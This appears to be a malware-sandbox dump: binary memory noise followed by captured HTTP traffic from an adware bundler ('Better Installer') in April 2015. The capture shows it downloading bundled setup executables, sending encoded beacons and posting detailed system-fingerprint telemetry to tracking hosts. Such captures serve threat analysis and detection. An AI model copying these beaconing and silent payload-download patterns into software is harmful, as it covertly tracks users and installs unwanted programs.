......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .
<<< skipped >>>


GET /667.ashx?e=N6dOqWm8Q95zRTWqMhK923FOCrrBm5PrEGETSa0Al mMDmRWpWBZ0CAvELRpepitjKjHf0fty0iH ThLk0X9lPNtJ6SchDLBn14WGxPVpt5CrKRl6uWYlY4G r 3F6T7iJiWa2JIZk6M8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23N8xrbOAlOf HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:39 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Sun, 26 Apr 2015 23:55:39 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.istartsurf.ds HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Sun, 26 Apr 2015 23:55:25 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.57 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sun, 26 Apr 20
15 23:55:25 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.57 ms","message":"store 1 ac
tion and 0 update "}..0......


GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.istartsurf.nt.ff.tab HTTP/1.1


Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Sun, 26 Apr 2015 23:55:30 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.66 ms","message":"store 1 action and 0 upd
ate "}..0..



GET /project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: garr.dl.sourceforge.net
Cache-Control: no-cache


HTTP/1.1 302 Moved Temporarily
Server: nginx/1.8.0
Date: Sun, 26 Apr 2015 23:54:52 GMT
Content-Type: text/html
Content-Length: 160
Connection: keep-alive
Location: hXXp://cdn.mirror.garr.it/sf/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe
<html>..<head><title>302 Found</title></hea
d>..<body bgcolor="white">..<center><h1>302 Found
</h1></center>..<hr><center>nginx/1.8.0</ce
nter>..</body>..</html>....



GET /sponsored/istartsurf/eula-istartsurf.html HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://bi.bisrv.com/premium_downloader/premium_downloader/c68f2d2eb068de4eb4b99d4758c25a2f?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d3i779maf1zmkk.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx
Date: Sun, 26 Apr 2015 05:42:31 GMT
Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT
Expires: Sun, 26 Apr 2015 05:52:31 GMT
Cache-Control: max-age=600
Content-Encoding: gzip
Vary: Accept-Encoding
X-Cache: RefreshHit from cloudfront
Via: 1.1 cd103c18819ef0db201c8a8cb9162bd2.cloudfront.net (CloudFront)
X-Amz-Cf-Id: hFrKP9FyIoAMQ_AaNpno2vrypNPWMVkzFSkTPplW15Op8teoKMTQCQ==
139c.............Z.s...... ..4.Z....m......g..........#y.>X|.b:....
....R.f&q........]<...o......Y.En.~....s39...}|>..q.....W_]....s
U.....J.........m7....v;.~<.......-.:....'.h.,k........"/..{.9...Ou
...l.?........;......oo.>....M\......G/.....S...f.....V..k..]...\._
...eW......d.1....{z.v....vy....r\...4.zvVvy~..}6........im..z.Y....k.
..Y.6.M.t...........O..O?.....a...M.V....nk.q.W.....w.....7..7.....~..
..>.....V....u.4.).RK....[...B....z....h....;H.....^Ze..o^.W..*].b.
.....~.5?>.?z..,.lw..\;....n...r..5A....*..lK.......|weW_..M......'
.z.......i.l......>....f.k_.p.E....v.$.4...x...y.^9I.zr.4..e.`...Q.
..f7.Wf.k.gS..~.:.....n.....W>..;J..&:...P......<.k..x........k[
C#g..].......(c...)~x......................^...y"...}.N.....)....<_
Ve{......ts;<[....g..`.4..K..#.]?.#.rE.%.{fR...Ilu....'..S..c.l....
'..=.{od...H....=>...}fN.r..G...H.............Ac.../.|........Cc.S.
...Z..\..h.....;.&iL.v..Sf........>..v ...6H.%.....j.\.....t.....7%
<[email protected]>.a/Bi|..1[[email protected]....]..)..|......X^.....<.G\.B..*3I
68..R.f....-.w...........u....E.2...w&u....q...... [email protected]..._...B.
rgZ_....U......>.j.m2....w.C...Z...M...w.^g. .....HO1....g.r... ..6
.P.o...... i.......z.B...9../[email protected]_....2....7.%
. .B....^.[.?N.....w.74........ 6.E_.j["kB..k..x.2'.L.N..Z6..ZN.E\!.7}
z....T...MyJp.aoY.1....x.\...iP.t.....3*.)...4.p...4.l.li.kD.W.......J
...n.=......f"..O@s|n.....m<B.J".Y.<....C.....!;#7.p..2..&.A.{.K
.....s.mp1.g.K.{P.. M....@....]]../.H.z.!X".b.....hL.W.e....vM...)
<<< skipped >>>


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=321583-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 964746
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 25 Apr 2015 19:35:23 GMT
Content-Range: bytes 321583-1286328/1286329
X-Cache: RefreshHit from cloudfront
Via: 1.1 1415e6a9d308119037d1fa89386da72a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: WuD69eDvtIRdI421g1G1QJhzXC7MpmDaSB9_Ef1M1M3H90F53olhqA==
.`../r"k>F-O../......I......(..vWPN.. ...J......."..j&.b.n.........
........V...O_.Zj...~4..T...}TMZ.....y.s.i.....G..b......[.x....,3....
Q....%.'.M.m.}........j..E...........m......>.P....y.x".G.2c....}.'
.Q.....eP../..... h....9.8m(....'}"..(.U.N.....6E.._._&J.rv...iS.....t
...^^!......g..X..$.../...|..l...!.E..Q9..#.$.I...Y..<G............
_.`TKq`....*...E.R...h............H^A.W.2=....%m..9s...p..WS ...n....6
_..U...d...N........*......aqj.......e......f...J.u.4...3...&j.=~..3..
E..x.a....X..".G.J.aQSF1..4.b..O...L.....a.[..,............8..!M......
...#v..$..Gv}h../.6o.x.:/.r..5lF....5W.4..s..\q~.D >{.wJ/..DA S....
MOb....Y'E.0..\Ah.9.....{.:...-)kj[..q.-....n>.IC..2......m-...*f"J
mmVr....".o..n....\O$..V~p*I...x[&..d{......R0.L.>C.Xn....0..]....$
..L..5=k.q.....A.l..I.'..g.....$.....u{.c......).;Ke\H..?.x...8......{
<.p.....=D.........W.....B.R.p.E....U..HM....#..S.3f<r..1|:...N"
P}O..U... .5.JZ..x..>8..m......H....E...N...Y.._.\..x...S..<..*`
=.@[email protected].......)Y.b.@H/..?..n9b......4....x["..i.wH.....c...iP7k.s.r.
........V:;M..=I.d..........K'[email protected]......
..........S....?_..F...#-Of..`:......&.. E..Rg/..{...E..f.....n...O.5.
..'zd..*.T.....A..#!"@.>.......AW...$ra....M....... <O.>l[...
....n...c.g.).*N..A=..[6q..'..2..Zg..h}........'>...^kGT......,i...
.m|y....I..V...D....#.]............s.k...E.x....Z........J?..{m.......
...T.).*.4".....cv._....7S[2O.)<.f&D.`...73t...^{.._k'..{.ref...gS.
..=(..Q.4.4F...O....J.t...9t.;..!OH$S..B....[....9....mS....'.^...
<<< skipped >>>


GET /667.ashx?e=VUrHHbcUIneQVExL/6LI8P/KgNerKaIX1VMaOJFqXYpm5LT87ehXaouB5vT09TkZBG694Yx7aYvLSyk7ROMFjmgdhMywCxX30tiOZna9twdMpjPhBYxzqbiKIFo3W8f23Wq7IsWCDz57tRcWKYeecuKhBlRQZmwjsjMhJxzXo7yMFjWsG0z9OSmF904v4t2D LNjtSN/TxaM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUut pOfahmLVOFYQdPhXtrzaAsY7JMnPrl5ziyfh9EnegKQwdxoo6P6 HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:48 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS



GET /24100.ashx?e=W5y9y1UrGBmQVExL/6LI8KMCiGTW9oqh1VMaOJFqXYpm5LT87ehXaouB5vT09TkZBG694Yx7aYvLSyk7ROMFjmgdhMywCxX30tiOZna9twdMpjPhBYxzqbiKIFo3W8f23Wq7IsWCDz6kJKykmN94QXsV5C8Q5KKr31fTgrR12XwN5lyRGN/ZhwIcLERiDa7oGT OLwKV823JQyItD8S5vDK0emj6kkzGQeFtx5 eqtFssIFedkeDcwU A6kiYcjN5jgwqhpV 3RVAAKZHGiEviQrftX5USa749BuL0n8vhSftUaxxCxaYQTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3c17G8X1negC9ViA7TIcAcS7jCctMSBJIv0f0wK412VyCjXsGCsDjRXr0a1dphgQ6N1XdMYGlAdJaF8KpepynoFA== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:56:20 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Sun, 26 Apr 2015 23:56:20 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /installer.gif?action=started&app=70121&appver=0&ver=1_36_01_22&version_date=15-04-26&bic=d5d8d8a61601751d467a5854a16ce35aIE&verifier=e9d6e2e9e6a34b6d6a4be51af1aeacc2&upi=d5d8d8a61601751d467a5854a16ce35a&procid=0E91D55389BA4CD39C087C48E624576FPI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFF6dHNtdHljMCxhYTE2YmFlMi05ZjQyLTQxMDAtYmI0ZC01OWRmZmNiNTFhYjEsIiwidW5xIjoiYWExNmJhZTItOWY0Mi00MTAwLWJiNGQtNTlkZmZjYjUxYWIxIn19&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_32&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147474944&asw4=34816&crtnm=na&mdat=&procstarttime=1430092564&procruntime=2&rnd=1430092566 HTTP/1.1
Host: stats.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: vnF/2Sjc IOmOCuEksrLwND8Oy4pbAL5lmNm2Q BEaA9fM/t/ nO9qODHJDGK5hD
x-amz-request-id: 0AB57C6DC366C574
Date: Sun, 26 Apr 2015 23:56:09 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:14:45 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: vnF/2S
jc IOmOCuEksrLwND8Oy4pbAL5lmNm2Q BEaA9fM/t/ nO9qODHJDGK5hD..x-amz-requ
est-id: 0AB57C6DC366C574..Date: Sun, 26 Apr 2015 23:56:09 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:14:45 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /installer.gif?action=finished&LFMR=_ffDll_0&app=70121&appver=&ver=1_36_01_22&version_date=15-04-26&bic=d5d8d8a61601751d467a5854a16ce35aIE&verifier=e9d6e2e9e6a34b6d6a4be51af1aeacc2&upi=d5d8d8a61601751d467a5854a16ce35a&procid=0E91D55389BA4CD39C087C48E624576FPI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFF6dHNtdHljMCxhYTE2YmFlMi05ZjQyLTQxMDAtYmI0ZC01OWRmZmNiNTFhYjEsIiwidW5xIjoiYWExNmJhZTItOWY0Mi00MTAwLWJiNGQtNTlkZmZjYjUxYWIxIn19&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_32&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147474944&asw4=34816&crtnm=na&procstarttime=1430092564&procruntime=10&rnd=1430092574 HTTP/1.1


Host: stats.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: lPkQeK4LhNJjrIFdcPHdk7tIPcGpFSklUmAjf4x/BLbMR8XBQlHe8EgHMvoFvPIf
x-amz-request-id: FB9FE140A434BFE0
Date: Sun, 26 Apr 2015 23:56:17 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:14:45 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /apps.gif?action=install&app=70121&appver=&ver=1_36_01_22&version_date=15-04-26&bic=d5d8d8a61601751d467a5854a16ce35aIE&verifier=e9d6e2e9e6a34b6d6a4be51af1aeacc2&upi=d5d8d8a61601751d467a5854a16ce35a&procid=0E91D55389BA4CD39C087C48E624576FPI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFF6dHNtdHljMCxhYTE2YmFlMi05ZjQyLTQxMDAtYmI0ZC01OWRmZmNiNTFhYjEsIiwidW5xIjoiYWExNmJhZTItOWY0Mi00MTAwLWJiNGQtNTlkZmZjYjUxYWIxIn19&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1430092564&lifetime=0&silent=1&crtnm=na&procstarttime=1430092564&procruntime=11&rnd=1430092575 HTTP/1.1


Host: stats.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: T0CmdAsP6SiH/KWE56cQxlycx/ZYdVVEzNuEGbGjpOn3VWyyPZfom7IJFug5Y6p9
x-amz-request-id: 62A2DEE606D1027E
Date: Sun, 26 Apr 2015 23:56:17 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:14:38 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: T0CmdA
sP6SiH/KWE56cQxlycx/ZYdVVEzNuEGbGjpOn3VWyyPZfom7IJFug5Y6p9..x-amz-requ
est-id: 62A2DEE606D1027E..Date: Sun, 26 Apr 2015 23:56:17 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:14:38 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;..



GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=803956-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 482373
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 25 Apr 2015 19:35:23 GMT
Content-Range: bytes 803956-1286328/1286329
X-Cache: RefreshHit from cloudfront
Via: 1.1 69ae15d1338b64299d3942a44fc1fb96.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 19xUm88jSGyFt2EzJPbXPS6xcCJZyMJvz33YDF0IKh-QwAoY_5yD3A==
.P........}..X..).....h,*S...iN. ..%.-W...#..;..'dI7.K..M....'.N.?(L..
#5.....L..f..b.Y....!......JP..{O....f.. L%btTB...bo...iN..iI..Su.....
..Y}>..s"..i mh....@._U].....G.>..9.^..`...."!......i(...s.&..g.
...7.p7.Q......H..^...@i6....|.,.".5`T;r$.;....K............>UX(...
N.X..,[email protected]=..J.a...w.'.{\A>.&...*....y\.GY..&.."r..y......
....!2.^..7..cE...'[....a)..wC..2.3....6t..u..1...6x.A.............2!.
W....Y;.N........v..a..f.x{f\O'LM....../=.....s..hXKE......;~t...P.=..
...|W.7........,..wC..m_...........w.......!..{Z.b..fu.pE.T&...eP".. 5
..4\J]........5V..........L..WyS...._....b.....4..u.czY..I...1..t.G.U.
....d}.moe)..Q...6X....X..ia...1....8`.n..O....-..."./^....QDW..P.....
.w.......w.Y^..[...2/q.s/i.....N..#.....fa....P.....r..%m.m.m.B...\k..
.p.j.g8t.....7./..vG........P.m.L.....?.<g....P....#'... ..D..7|n..
..#[.3.U..}....D...=..?. e.`...;p.. i..........<..wC._.51........Q.
"Ar....&.e......W....u6"...]..I.9.6...r....m. 9n...v."...*.X."..25...6
..-0..&3.I..&y6>.{.}m/[email protected]..
..8,{'L.bv..V:...V%[email protected]........!=Z...o...'. ....\..2%_$.B{.D.H.
...._.dD.....=Q..:z...Z.}RJF.o.W(.X!...<...].7.;9R....];=....GH..Fm
....A:'} .1........)...vJ...$7.;). 1..y......"v>.bF:.-50;#....,..9.
q..........iN...4.6uJj....F ..a.d...1..re........_.\p..m.ZX..9...t.[..
.D..`y.......p.kg.4....q1......U..W.:..>...<P....r..B. C.<).~
....K9..,.y... .. 4........~.0@>.BM...$hh...:7...P}0.A*TC...N..Ch..
O.T.L..U.n..B..@{.,*n..}N..fi..~..6..}C.Hg.......p.;.ZS.W.i..0...:
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=65408-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Mon, 27 Apr 2015 23:54:52 GMT
Date: Sun, 26 Apr 2015 23:54:52 GMT
Content-Range: bytes 65408-523263/523264
Content-Length: 457856
Connection: keep-alive
E..<.Ig~nZ.4.\'.Z...}..q.3>.{.u..f.*.U*...,....&P....8G..3..3.e.
.p.7t.4o.....,....(..p"......n..v......G..z.....g.3.%......../P2....6)
.pk1.v-...P e.......yt...vG...{..q...g.,c.....`.....<Fi.!.....).. .
.{....9..c.)......_.........6J......N...q..i.j..h.N}..d=.C...b.. G....
>.E..e.(.f.:b/?...........#.&f}...q.......%r...c.A13..4"..|...v<
&.`...kI.j}J...QMh.t-..@~,f.q..7..Z.H.:..;.....W..{\A...WI.42A........
fL..5........K..f.#....p........K:.:u?.....s..3.s.I-.'.`... .5'.......
^....Ih?.i.x..b..~T...b...!..}..s......K.y.(.T(!.m.34.S..T.?.P<.S..
.j.@.=. V..?.U8....q.[....K?.\.c.....n....[....., JK....;.W..7....-...
x.....4.o.........N....d......._tc9^'...Q....s|oGXS.[#....h. '..ox^..g
.M....2T.t..z.........h.....\...`..........,YG..=.$....Ne.-.Ti.zV*....
z'.\.......9..=.FN8y....$.p.T!.p.$...aE.D..r......c).l..L.......'..o..
V.p..A:.)L?...\.8..]....T........P&Sa..,..9...U./...).5.. ....z.....^7
,.......x..>...[........r#a4.&F.j.m..q...pr....9..5..:..:.X......Xs
......l..._<.. i...q..\.$..8|]...]V.x.....=.2\V......l.n.-..Q..>
....9.{.......=..J.W`...6..mN..8..*.( 2...;..GY...O....)........... ..
.x..V..,$...XDP|.>;...z..l....$E.f..._:.`........m..t.._b.e.......|
..,.`..]y.v6..2...}3.K.?Q.j..f.... Z.,......r.W...W.M3.....q{..GzRp>
;j...MN*[email protected]...\M...G...Ecy.......ro.|x'..U_T......Q...9q.."..
..i.7w"E..........!...o...`...'?."|......i..Hpt.p$..q...i)....c....j..
hs..x.C......d.'...{....)G....d_..../...`.........{..8..lK9...:....@..
...."z...CN$=..f^....sN....A..cR8Y:..9...)s..lA|~...aq........X}.O
<<< skipped >>>


GET /app/ping.ashx?e=wlkQ3WKgYpQDjreoyS/T2wRKgupiq7FpZCDhZ dCw2EyIvs8NVvu9kXFDxkTgufFt5aWEmvF1lmyibNNhHQuhse72nxa8 m7iViAEPFo6Yp/1ErfmLF8//Y1HJKKgNFG88zk3vjcmKQHI/73rKtKucbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXoDAbDf1f5I9gDcoAJAtAYWupXyB/g5yjGYsEX4kIHltCn qX4FpTdffopz0y2Q7Y HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rephelper.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:55:55 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Sun, 26 Apr 20
15 23:55:55 GMT..Content-Length: 0......


GET /app/ping.ashx?e=/k6kR j50toLjT49fHfOTGUOC3WoRbTzt8f6YpiR28K/M iZRiJnRnHdTB6jkze/avGlMWAqZVERupYRBKBpbvWfvIMJ7sCSujghDckn/xgt lphzBReO6bK2Q7GGGnWJ281Et5v 1ivpBvzhFxOqDKzz2j1DKRExuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kj2ANygAkC0Bha6lfIH DnKMZiwRfiQgeW Lmf6eHphUt9 inPTLZDtg= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rephelper.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:55:55 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Sun, 26 Apr 20
15 23:55:55 GMT..Content-Length: 0..



GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=da016b75-2f76-45d2-9c78-4fb8bb7b9126&Password=6eoZ2woz&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,aa16bae2-9f42-4100-bb4d-59dffcb51ab1,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1430092557&SBPIDS=1&KA=1 HTTP/1.1
User-Agent: CoreWinInet
Host: online.speedbit.com
Cache-Control: no-cache
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 44
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=tcudj3yhqvlm4vroqxtbu445; path=/; HttpOnly
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:55:58 GMT
<RESULT>.<LASTERROR>0</LASTERROR>.</RESULT>.HT
TP/1.1 200 OK..Cache-Control: private..Content-Length: 44..Content-Typ
e: text/html; charset=utf-8..Server: Microsoft-IIS/7.5..X-AspNet-Versi
on: 2.0.50727..Set-Cookie: ASP.NET_SessionId=tcudj3yhqvlm4vroqxtbu445;
 path=/; HttpOnly..X-Powered-By: ASP.NET..Date: Sun, 26 Apr 2015 23:55
:58 GMT..<RESULT>.<LASTERROR>0</LASTERROR>.</RESU
LT>.....


GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=33648ded-6a64-4e2a-b602-af2ae10fa726&Password=hwpZuese&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,aa16bae2-9f42-4100-bb4d-59dffcb51ab1,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1430092558&SBPIDS=1&KA=1 HTTP/1.1


User-Agent: CoreWinInet
Host: online.speedbit.com
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: ASP.NET_SessionId=tcudj3yhqvlm4vroqxtbu445


HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 44
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:55:58 GMT
<RESULT>.<LASTERROR>0</LASTERROR>.</RESULT>.HT
TP/1.1 200 OK..Cache-Control: private..Content-Length: 44..Content-Typ
e: text/html; charset=utf-8..Server: Microsoft-IIS/7.5..X-AspNet-Versi
on: 2.0.50727..X-Powered-By: ASP.NET..Date: Sun, 26 Apr 2015 23:55:58 
GMT..<RESULT>.<LASTERROR>0</LASTERROR>.</RESULT&g
t;...



GET /v4/sof-installer/535559167_198339_B48A115F?action1=xa.geoip&action2=visit&action3=smt.visit.istartsurf&update1=ref,smt&update2=identifier,installer&update3=version,6.6.86.1610&update4=nation,us&update5=language,en HTTP/1.1
Accept: */*
Accept-Encoding: */*
Connection: Keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36
Host: xa.xingcloud.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Sun, 26 Apr 2015 23:55:20 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.66 ms","message":"store 4 action and 5 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sun, 26 Apr 20
15 23:55:20 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.66 ms","message":"store 4 ac
tion and 5 update "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: 
